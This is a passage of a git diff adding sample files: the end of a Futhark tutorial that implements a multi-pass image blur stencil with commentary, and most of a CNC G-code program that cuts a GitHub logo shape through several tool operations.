+                 u8.f32 (g * 255),
+                 u8.f32 (b * 255)])
+              rs_row gs_row bs_row)
+       rs gs bs
+
+-- Another thing we will need is the actual stencil function.  That is,
+-- the function we wish to apply to every pixel in the image.  For
+-- blurring, we will take the average value of the pixel itself plus each
+-- of its eight neighbors (nine values in total):
+
+let new_value [rows][cols]
+             (image: [rows][cols]f32) (row: i32) (col: i32): f32 =
+  unsafe
+  let sum =
+    image[row-1,col-1] + image[row-1,col] + image[row-1,col+1] +
+    image[row,  col-1] + image[row,  col] + image[row,  col+1] +
+    image[row+1,col-1] + image[row+1,col] + image[row+1,col+1]
+  in sum / 9
+
+-- The function call `new_value(image, row, col)` computes the new value
+-- for the pixel at position `(row, col)` in `image`.
+--
+-- The alert reader will have noticed that `new_value` cannot be applied
+-- to pixels on the edge of the image - doing so would result in
+-- out-of-bounds accesses to the `image` array.  We will take care to
+-- only call the `new_value` function with safe indices, but the Futhark
+-- compiler is sadly not yet smart enough to realise this - thus we are
+-- forced to use the `unsafe` keyword to prevent the insertion of
+-- bounds checks that would otherwise hinder parallelisation.  If we did
+-- not use `unsafe`, the Futhark compiler would fail with an error
+-- message pointing at the problematic array access.
+--
+-- Now we can write the actual stencil function, which applies
+-- `new_value` to every inner element of a colour channel array.  This
+-- uses the `iota` function for constructing an array of integers
+-- ranging from *0* to the provided argument (the latter not inclusive).
+-- The edges are left unchanged:
+
+let blur [rows][cols]
+         (channel: [rows][cols]f32): [rows][cols]f32 =
+  map (\row ->
+         map(\col ->
+               if row > 0 && row < rows-1 && col > 0 && col < cols-1
+               then new_value channel row col
+               else channel[row,col])
+             (iota cols))
+      (iota rows)
+
+-- You may have heard that branches are expensive on a GPU.  While this
+-- is a good basic rule of thumb, what is actually expensive is *branch
+-- divergence* - that is, when neighboring threads take *different* paths
+-- through a branch.  In our stencil, only the edge elements will take
+-- the false branch, and these are few in number compared to the
+-- interior.
+--
+-- Stencil computations usually have an outer (sequential) loop for
+-- applying the stencil several times.  Our program is no different - we
+-- will apply the blurring transformation a user-defined number of times.
+-- The more iterations we run, the more blurred the image will become:
+
+let main [rows][cols]
+         (iterations: i32) (image: [rows][cols][3]u8): [rows][cols][3]u8 =
+  let (rs, gs, bs) = split_channels image
+  let (rs, gs, bs) = loop (rs, gs, bs) for i < iterations do
+    let rs = blur rs
+    let gs = blur gs
+    let bs = blur bs
+    in (rs, gs, bs)
+  in combine_channels rs gs bs
+
+-- Our `main` function is quite simple.  We split the input image into
+-- three different channels, use a sequential loop to blur each colour
+-- channel the requested number of times, then recombine the resulting
+-- channel arrays into a single final image.
+--
+-- The Futhark `loop` construct merits an explanation: in the above
+-- function, we declare three *loop variant variables*, `rs`, `gs`,
+-- and `bs`.  These take their initial values from the incidentally
+-- identically named variables in scope (but this is not in general
+-- requirement).  The *loop body* then returns three values that become
+-- the values of the loop variant variables in the next iteration of the
+-- loop.  In essence, the `loop` construct is just syntactical suger
+-- for a particularly simple (but common) pattern of tail-recursive
+-- function.  However, the Futhark compiler is able to perform
+-- transformations involving `loop`s that it cannot for recursive
+-- functions (although it does not perform any such for this simple
+-- program).
+--
+-- The three separate calls to `blur` may seem wasteful, but the
+-- Futhark compiler is smart enough to fuse them together into a single
+-- GPU kernel that traverses the three colour channel arrays
+-- simultaneously.  This is an instance of *horisontal fusion*.
+--
+-- Our Futhark program is now done.  We can make it a little more
+-- useful by writing a small Python wrapper program for reading and
+-- writing PNGs: [blur-png.py](/static/blur-png.py).  We must
+-- compile `blur.fut` using the PyOpenCL backend:
+--
+-- ```
+-- $ futhark pyopencl --library blur.fut
+-- ```
+--
+-- This produces a Python module `blur.py` which is then imported by
+-- `blur-png.py`.  We can try it out on any PNG image, say, this
+-- [illustration of the spirit of Futhark](/images/gottagofast.png):
+--
+-- ```
+-- $ python blur-png.py gottagofast.png --output-file gottagofast-blurred.png
+-- ```
+--
+-- Which produces [this slightly smushed
+-- image](/images/gottagofast-blurred.png).  We can also ask for a
+-- hundred iterations::
+--
+-- ```
+-- $ python blur-png.py gottagofast.png --output-file gottagofast-blurred.png --iterations 100
+-- ```
+--
+-- Which produces [this blurry
+-- mess](/images/gottagofast-veryblurred.png).  Notice the edges -
+-- perhaps simply keeping them unchanged is not the best way to
+-- implement image blurring.  Still, this program is a decent
+-- description of how to implement stencils in Futhark.
diff --git a/samples/G-code/ghLogo.cnc b/samples/G-code/ghLogo.cnc
new file mode 100644
index 0000000000..0a6c60e987
--- /dev/null
+++ b/samples/G-code/ghLogo.cnc
@@ -0,0 +1,728 @@
+N1 DEF BOOL W_BLADE
+N2 G17 G70 G90 G40 G64
+N3 M32
+N4 STOPRE
+;  R50 = Part Area in SqFt
+N5 R50=0.00
+;  R51 = Linear Feet Cut
+N6 R51=0.00
+N7 IF $MN_USER_DATA_INT[1]==1
+N8 W_BLADE=TRUE
+N9 ELSE
+N10 W_BLADE=FALSE
+N11 ENDIF
+N12 PATHLGTH
+N13 DO $R44=0
+N14 G17 G90 G64 G70 G40
+N15 IF W_BLADE==TRUE
+N16 G00 SUPA Z=0 BZ=0
+N17 ELSE
+N18 G00 SUPA Z=0
+N19 ENDIF
+N20 M5
+N21 D0
+N22 IF W_BLADE==TRUE
+N23 G00 SUPA Z=0 BZ=0
+N24 ELSE
+N25 G00 SUPA Z=0
+N26 ENDIF
+N27 ; T1 (001) CORE BIT 1.375 CNC 1
+N28 T1 D1
+N29 M6
+N30 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N31 G54 CFIN
+N32 ; OP 1
+N33 G90 G0 X-8.8059 Y-5.3995
+N34 Z5.0
+N35 S2800 M3
+N36 G0 Z4.0
+N37 M8
+N38 G1 Z-0.125 F2.0
+N39 G0 Z4.0
+N40 Z5.0
+N41 X-7.8843 Y-3.9351
+N42 Z4.0
+N43 G1 Z-0.125 F2.0
+N44 G0 Z4.0
+N45 Z5.0
+N46 M5
+N47 D0
+N48 IF W_BLADE==TRUE
+N49 G00 SUPA Z=0 BZ=0
+N50 ELSE
+N51 G00 SUPA Z=0
+N52 ENDIF
+N53 ; T2 (002) FINGER BIT CNC 2
+N54 T2 D1
+N55 M6
+N56 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N57 G54 CFIN
+N58 ; OP 2
+N59 G90 G0 X-8.8059 Y-5.3995
+N60 Z5.0
+N61 S5500 M3
+N62 G4 F1.0
+N63 G0 Z4.0
+N64 M8
+N65 G90 G1 X-8.8059 Y-5.3995 Z0.0 F50.0
+N66 M13
+N67 DO $R44=1
+N68 G41
+N69 G90 G1 X-8.2411 Y-5.9818 Z0.0 F10.0
+N70 G90 G3 X-7.0516 Y-5.4814 Z0.0 I0.2375 J1.0997 F10.0
+N71 G90 G3 X-5.8991 Y-1.4856 Z0.0 I-6.347 J3.9946 F10.0
+N72 G90 G3 X-13.3975 Y6.0127 Z0.0 I-7.4983 J0.0 F10.0
+N73 G90 G3 X-20.896 Y-1.4856 Z0.0 I0.0002 J-7.4987 F10.0
+N74 G90 G3 X-15.9208 Y-8.5482 Z0.0 I7.5003 J-0.0001 F10.0
+N75 G90 G3 X-15.3193 Y-8.1211 Z0.0 I0.1515 J0.4237 F10.0
+N76 G90 G2 X-15.3278 Y-6.9564 Z0.0 I15662.3898 J114.7986 F10.0
+N77 G90 G2 X-17.8663 Y-6.0115 Z0.0 I-0.7655 J1.8257 F10.0
+N78 G90 G2 X-17.8694 Y-6.0038 Z0.0 I0.0448 J0.0222 F10.0
+N79 G90 G3 X-18.6701 Y-4.9375 Z0.0 I-1.8647 J-0.5664 F10.0
+N80 G90 G2 X-18.5939 Y-4.3774 Z0.0 I-0.0424 J0.291 F10.0
+N81 G90 G2 X-17.4076 Y-5.1787 Z0.0 I-0.2305 J-1.62 F10.0
+N82 G90 G2 X-17.4071 Y-5.1797 Z0.0 I-0.0433 J-0.025 F10.0
+N83 G90 G3 X-15.3015 Y-5.8002 Z0.0 I1.3649 J0.749 F10.0
+N84 G90 G2 X-14.8936 Y-4.8739 Z0.0 I1.6485 J-0.1729 F10.0
+N85 G90 G2 X-18.2642 Y-1.0888 Z0.0 I0.0035 J3.3964 F10.0
+N86 G90 G2 X-17.4934 Y0.9465 Z0.0 I2.971 J0.0385 F10.0
+N87 G90 G2 X-17.409 Y2.9525 Z0.0 I2.6135 J0.8948 F10.0
+N88 G90 G2 X-17.3656 Y2.9823 Z0.0 I0.0458 J-0.0201 F10.0
+N89 G90 G2 X-15.273 Y2.2142 Z0.0 I0.1344 J-2.8684 F10.0
+N90 G90 G2 X-13.3976 Y2.4626 Z0.0 I1.8864 J-7.0369 F10.0
+N91 G90 G2 X-13.3974 Y2.4626 Z0.0 I0.0001 J-0.05 F10.0
+N92 G90 G2 X-11.5205 Y2.2142 Z0.0 I-0.0119 J-7.304 F10.0
+N93 G90 G2 X-9.4304 Y2.9823 Z0.0 I1.9559 J-2.0943 F10.0
+N94 G90 G2 X-9.387 Y2.9525 Z0.0 I-0.0023 J-0.0499 F10.0
+N95 G90 G2 X-9.3017 Y0.9465 Z0.0 I-2.5248 J-1.1122 F10.0
+N96 G90 G2 X-8.5318 Y-1.0888 Z0.0 I-2.1954 J-1.9937 F10.0
+N97 G90 G2 X-11.9123 Y-4.8684 Z0.0 I-3.3661 J-0.3909 F10.0
+N98 G90 G2 X-11.4666 Y-6.2156 Z0.0 I-1.4037 J-1.2117 F10.0
+N99 G90 G2 X-11.4743 Y-8.1215 Z0.0 I-411.1686 J0.7028 F10.0
+N100 G90 G3 X-10.8728 Y-8.5481 Z0.0 I0.45 J-0.0029 F10.0
+N101 G90 G3 X-7.0516 Y-5.4814 Z0.0 I-2.5258 J7.0613 F10.0
+N102 G90 G3 X-7.1149 Y-4.1924 Z0.0 I-0.9521 J0.5992 F10.0
+N103 G40 G90 G1 X-7.8843 Y-3.9351 Z0.0 F10.0
+N104 DO $R44=0
+N105 M15
+N106 G0 Z5.0
+N107 M9
+;MD14512[5] = 1H
+N108 IF $MN_USER_DATA_HEX[5] B_AND 'B00000001'
+N109 PARKPAUSE
+N110 ELSE
+N111 D0
+N112 IF W_BLADE==TRUE
+N113 G00 SUPA Z=0
+N114 ENDIF
+N115 M5
+N116 SUPA X=$MA_POS_LIMIT_PLUS[X]-0.1 Y=$MA_POS_LIMIT_PLUS[Y]-0.1
+N117 MSG ("- PAUSED - REMOVE SINK AND PRESS CYCLE START TO CONTINUE")
+N118 M0
+N119 D1
+N120 M3
+N121 MSG("")
+N122 ENDIF
+N123 M5
+N124 D0
+N125 IF W_BLADE==TRUE
+N126 G00 SUPA Z=0 BZ=0
+N127 ELSE
+N128 G00 SUPA Z=0
+N129 ENDIF
+N130 ; T49 (049) A30 R3 POS 0 CNC 2
+N131 T49 D1
+N132 M6
+N133 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N134 G54 CFIN
+N135 ; OP 3
+N136 G90 G0 X-8.4366 Y-4.8499
+N137 Z5.0
+N138 S5500 M3
+N139 G4 F1.0
+N140 G0 Z4.0
+N141 M8
+N142 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0
+N143 M13
+N144 DO $R44=1
+N145 G41
+N146 G90 G1 X-7.0092 Y-5.5081 Z0.0 F50.0
+N147 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F50.0
+N148 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F50.0
+N149 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F50.0
+N150 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F50.0
+N151 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F50.0
+N152 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F50.0
+N153 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F50.0
+N154 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F50.0
+N155 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F50.0
+N156 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F50.0
+N157 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F50.0
+N158 DO $R44=0
+N159 M15
+N160 G0 Z5.0
+N161 M9
+N162 G90 G0 X-9.4749 Y0.8697
+N163 Z4.0
+N164 M8
+N165 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0
+N166 M13
+N167 DO $R44=1
+N168 G41
+N169 G90 G1 X-8.1381 Y2.0792 Z0.0 F50.0
+N170 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F50.0
+N171 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F50.0
+N172 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F50.0
+N173 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F50.0
+N174 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F50.0
+N175 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F50.0
+N176 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F50.0
+N177 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F50.0
+N178 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F50.0
+N179 G40 G90 G1 X-7.896 Y6.405 Z0.0 F50.0
+N180 DO $R44=0
+N181 M15
+N182 G0 Z5.0
+N183 M9
+N184 G90 G0 X-15.4413 Y2.6078
+N185 Z4.0
+N186 M8
+N187 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0
+N188 M13
+N189 DO $R44=1
+N190 G41
+N191 G90 G1 X-16.5435 Y4.0344 Z0.0 F50.0
+N192 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F50.0
+N193 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F50.0
+N194 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F50.0
+N195 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F50.0
+N196 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F50.0
+N197 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F50.0
+N198 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F50.0
+N199 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F50.0
+N200 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F50.0
+N201 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F50.0
+N202 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F50.0
+N203 DO $R44=0
+N204 M15
+N205 G0 Z5.0
+N206 M9
+N207 M5
+N208 D0
+N209 IF W_BLADE==TRUE
+N210 G00 SUPA Z=0 BZ=0
+N211 ELSE
+N212 G00 SUPA Z=0
+N213 ENDIF
+N214 ; T50 (050) A30 R3 POS 1 CNC 2
+N215 T50 D1
+N216 M6
+N217 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N218 G54 CFIN
+N219 ; OP 4
+N220 G90 G0 X-8.4366 Y-4.8499
+N221 Z5.0
+N222 S5500 M3
+N223 G4 F1.0
+N224 G0 Z4.0
+N225 M8
+N226 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0
+N227 M13
+N228 DO $R44=1
+N229 G41
+N230 G90 G1 X-7.0092 Y-5.5081 Z0.0 F120.0
+N231 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F120.0
+N232 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F120.0
+N233 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F120.0
+N234 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F120.0
+N235 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F120.0
+N236 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F120.0
+N237 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F120.0
+N238 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F120.0
+N239 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F120.0
+N240 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F120.0
+N241 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F120.0
+N242 DO $R44=0
+N243 M15
+N244 G0 Z5.0
+N245 M9
+N246 G90 G0 X-9.4749 Y0.8697
+N247 Z4.0
+N248 M8
+N249 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0
+N250 M13
+N251 DO $R44=1
+N252 G41
+N253 G90 G1 X-8.1381 Y2.0792 Z0.0 F120.0
+N254 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F120.0
+N255 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F120.0
+N256 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F120.0
+N257 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F120.0
+N258 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F120.0
+N259 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F120.0
+N260 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F120.0
+N261 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F120.0
+N262 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F120.0
+N263 G40 G90 G1 X-7.896 Y6.405 Z0.0 F120.0
+N264 DO $R44=0
+N265 M15
+N266 G0 Z5.0
+N267 M9
+N268 G90 G0 X-15.4413 Y2.6078
+N269 Z4.0
+N270 M8
+N271 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0
+N272 M13
+N273 DO $R44=1
+N274 G41
+N275 G90 G1 X-16.5435 Y4.0344 Z0.0 F120.0
+N276 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F120.0
+N277 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F120.0
+N278 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F120.0
+N279 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F120.0
+N280 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F120.0
+N281 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F120.0
+N282 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F120.0
+N283 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F120.0
+N284 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F120.0
+N285 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F120.0
+N286 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F120.0
+N287 DO $R44=0
+N288 M15
+N289 G0 Z5.0
+N290 M9
+N291 M5
+N292 D0
+N293 IF W_BLADE==TRUE
+N294 G00 SUPA Z=0 BZ=0
+N295 ELSE
+N296 G00 SUPA Z=0
+N297 ENDIF
+N298 ; T51 (051) A30 R3 POS 2 CNC 2
+N299 T51 D1
+N300 M6
+N301 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N302 G54 CFIN
+N303 ; OP 5
+N304 G90 G0 X-8.4366 Y-4.8499
+N305 Z5.0
+N306 S5500 M3
+N307 G4 F1.0
+N308 G0 Z4.0
+N309 M8
+N310 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0
+N311 M13
+N312 DO $R44=1
+N313 G41
+N314 G90 G1 X-7.0092 Y-5.5081 Z0.0 F120.0
+N315 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F120.0
+N316 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F120.0
+N317 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F120.0
+N318 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F120.0
+N319 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F120.0
+N320 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F120.0
+N321 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F120.0
+N322 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F120.0
+N323 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F120.0
+N324 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F120.0
+N325 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F120.0
+N326 DO $R44=0
+N327 M15
+N328 G0 Z5.0
+N329 M9
+N330 G90 G0 X-9.4749 Y0.8697
+N331 Z4.0
+N332 M8
+N333 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0
+N334 M13
+N335 DO $R44=1
+N336 G41
+N337 G90 G1 X-8.1381 Y2.0792 Z0.0 F120.0
+N338 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F120.0
+N339 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F120.0
+N340 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F120.0
+N341 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F120.0
+N342 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F120.0
+N343 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F120.0
+N344 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F120.0
+N345 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F120.0
+N346 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F120.0
+N347 G40 G90 G1 X-7.896 Y6.405 Z0.0 F120.0
+N348 DO $R44=0
+N349 M15
+N350 G0 Z5.0
+N351 M9
+N352 G90 G0 X-15.4413 Y2.6078
+N353 Z4.0
+N354 M8
+N355 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0
+N356 M13
+N357 DO $R44=1
+N358 G41
+N359 G90 G1 X-16.5435 Y4.0344 Z0.0 F120.0
+N360 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F120.0
+N361 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F120.0
+N362 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F120.0
+N363 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F120.0
+N364 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F120.0
+N365 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F120.0
+N366 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F120.0
+N367 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F120.0
+N368 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F120.0
+N369 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F120.0
+N370 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F120.0
+N371 DO $R44=0
+N372 M15
+N373 G0 Z5.0
+N374 M9
+N375 M5
+N376 D0
+N377 IF W_BLADE==TRUE
+N378 G00 SUPA Z=0 BZ=0
+N379 ELSE
+N380 G00 SUPA Z=0
+N381 ENDIF
+N382 ; T52 (052) A30 R3 POS 3 CNC 2
+N383 T52 D1
+N384 M6
+N385 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N386 G54 CFIN
+N387 ; OP 6
+N388 G90 G0 X-8.4366 Y-4.8499
+N389 Z5.0
+N390 S5500 M3
+N391 G4 F1.0
+N392 G0 Z4.0
+N393 M8
+N394 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0
+N395 M13
+N396 DO $R44=1
+N397 G41
+N398 G90 G1 X-7.0092 Y-5.5081 Z0.0 F50.0
+N399 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F50.0
+N400 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F50.0
+N401 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F50.0
+N402 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F50.0
+N403 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F50.0
+N404 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F50.0
+N405 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F50.0
+N406 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F50.0
+N407 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F50.0
+N408 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F50.0
+N409 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F50.0
+N410 DO $R44=0
+N411 M15
+N412 G0 Z5.0
+N413 M9
+N414 G90 G0 X-9.4749 Y0.8697
+N415 Z4.0
+N416 M8
+N417 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0
+N418 M13
+N419 DO $R44=1
+N420 G41
+N421 G90 G1 X-8.1381 Y2.0792 Z0.0 F50.0
+N422 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F50.0
+N423 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F50.0
+N424 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F50.0
+N425 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F50.0
+N426 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F50.0
+N427 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F50.0
+N428 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F50.0
+N429 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F50.0
+N430 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F50.0
+N431 G40 G90 G1 X-7.896 Y6.405 Z0.0 F50.0
+N432 DO $R44=0
+N433 M15
+N434 G0 Z5.0
+N435 M9
+N436 G90 G0 X-15.4413 Y2.6078
+N437 Z4.0
+N438 M8
+N439 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0
+N440 M13
+N441 DO $R44=1
+N442 G41
+N443 G90 G1 X-16.5435 Y4.0344 Z0.0 F50.0
+N444 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F50.0
+N445 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F50.0
+N446 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F50.0
+N447 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F50.0
+N448 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F50.0
+N449 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F50.0
+N450 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F50.0
+N451 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F50.0
+N452 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F50.0
+N453 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F50.0
+N454 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F50.0
+N455 DO $R44=0
+N456 M15
+N457 G0 Z5.0
+N458 M9
+N459 M5
+N460 D0
+N461 IF W_BLADE==TRUE
+N462 G00 SUPA Z=0 BZ=0
+N463 ELSE
+N464 G00 SUPA Z=0
+N465 ENDIF
+N466 ; T53 (053) A30 R3 POS 4 CNC 2
+N467 T53 D1
+N468 M6
+N469 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET
+N470 G54 CFIN
+N471 ; OP 7
+N472 G90 G0 X-8.4366 Y-4.8499
+N473 Z5.0
+N474 S2500 M3
+N475 G4 F1.0
+N476 G0 Z4.0
+N477 M8
+N478 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0
+N479 M13
+N480 DO $R44=1
+N481 G41
+N482 G90 G1 X-7.0092 Y-5.5081 Z0.0 F45.0
+N483 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F45.0
+N484 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F45.0
+N485 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F45.0
+N486 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F45.0
